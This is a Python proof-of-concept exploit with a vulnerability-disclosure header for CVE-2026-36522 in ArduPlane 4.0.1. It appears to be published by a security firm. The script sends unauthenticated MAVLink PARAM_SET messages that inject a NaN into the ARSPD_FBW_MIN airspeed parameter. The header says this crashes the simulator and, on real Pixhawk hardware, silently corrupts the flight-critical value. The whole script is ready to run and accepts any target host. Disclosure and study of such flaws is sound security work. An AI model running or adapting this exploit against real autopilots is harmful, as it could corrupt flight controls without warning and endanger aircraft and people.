Unauthenticated NaN Injection via MAVLink PARAM_SET in ArduPilot ArduPlane (CVE-2026-36522)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

#!/usr/bin/env python3
"""
CVE-2026-36522 — Proof of Concept
================================================
Title:    NaN Injection via Unauthenticated MAVLink PARAM_SET
Target:   ArduPlane V4.0.1 (tag ArduPlane-4.0.1), SITL debug build
CWE:      CWE-1287 (Improper Validation of Specified Type of Input)
CVSS:     9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Credit:   Sebastien Arseneault, Deep Woods Security

DESCRIPTION
-----------
GCS_MAVLINK::handle_param_set() in libraries/GCS_MAVLink/GCS_Param.cpp does
not validate incoming PARAM_SET float values for IEEE 754 NaN/Inf. A NaN
reaches is_equal<float,float>() in AP_Math.cpp:35 and triggers SIGFPE in
SITL (FP exception trapping enabled).

On real hardware (STM32/Pixhawk), FP exceptions are disabled. The NaN is
stored silently, corrupting a flight-critical parameter with no crash and
no pilot-visible warning. Impact is denial of service (SITL) and silent
integrity corruption (hardware). This is NOT code execution.

PREREQUISITES
-------------
  SITL (debug build) running on TCP 5760:
    ./build/sitl/bin/arduplane -S -I0 --model plane --speedup 1 \
        --defaults Tools/autotest/default_params/plane.parm
  pip install pymavlink

USAGE
-----
  python3 CVE-2026-36522.py [host:port]   (default tcp:127.0.0.1:5760)

EXPECTED RESULT
---------------
  SITL terminal: "Floating point exception - aborting"
  Crash dump frame: is_equal<float,float>(v_1=nan, v_2=0) at AP_Math.cpp:35
                    GCS_MAVLINK::handle_param_set at GCS_Param.cpp:299
"""

import sys
import struct
import time
from pymavlink import mavutil

DEFAULT_TARGET = 'tcp:127.0.0.1:5760'
PARAM_NAME = b'ARSPD_FBW_MIN'
PARAM_TYPE = mavutil.mavlink.MAV_PARAM_TYPE_REAL32
NAN_VALUE = struct.unpack('<f', struct.pack('<I', 0x7FC00000))[0]  # IEEE 754 quiet NaN


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_TARGET
    print('[*] CVE-2026-36522 — PARAM_SET NaN Injection PoC')
    print(f'[*] Target: {target}\n')

    conn = mavutil.mavlink_connection(target)
    conn.wait_heartbeat()
    print(f'[+] Connected: System {conn.target_system}, Component {conn.target_component}')

    # Prime old_value to a known 0.0 so the is_equal(old_value, NaN) compare is deterministic
    print('[*] Priming ARSPD_FBW_MIN = 0.0')
    conn.mav.param_set_send(conn.target_system, conn.target_component,
                            PARAM_NAME, 0.0, PARAM_TYPE)
    time.sleep(2)

    # Trigger: inject NaN into the same parameter
    print('[*] Injecting ARSPD_FBW_MIN = NaN (trigger)')
    conn.mav.param_set_send(conn.target_system, conn.target_component,
                            PARAM_NAME, NAN_VALUE, PARAM_TYPE)
    time.sleep(2)

    print()
    print('[*] Trigger sent. Confirm in the SITL terminal and crash dump:')
    print('    SITL terminal -> "Floating point exception - aborting"')
    print('    Dump          -> segv_arduplane.<pid>.out')
    print('    Key frame     -> handle_param_set at GCS_Param.cpp:299, param_value = nan')
    print('\n[*] CVE-2026-36522 — Deep Woods Security')


if __name__ == '__main__':
    main()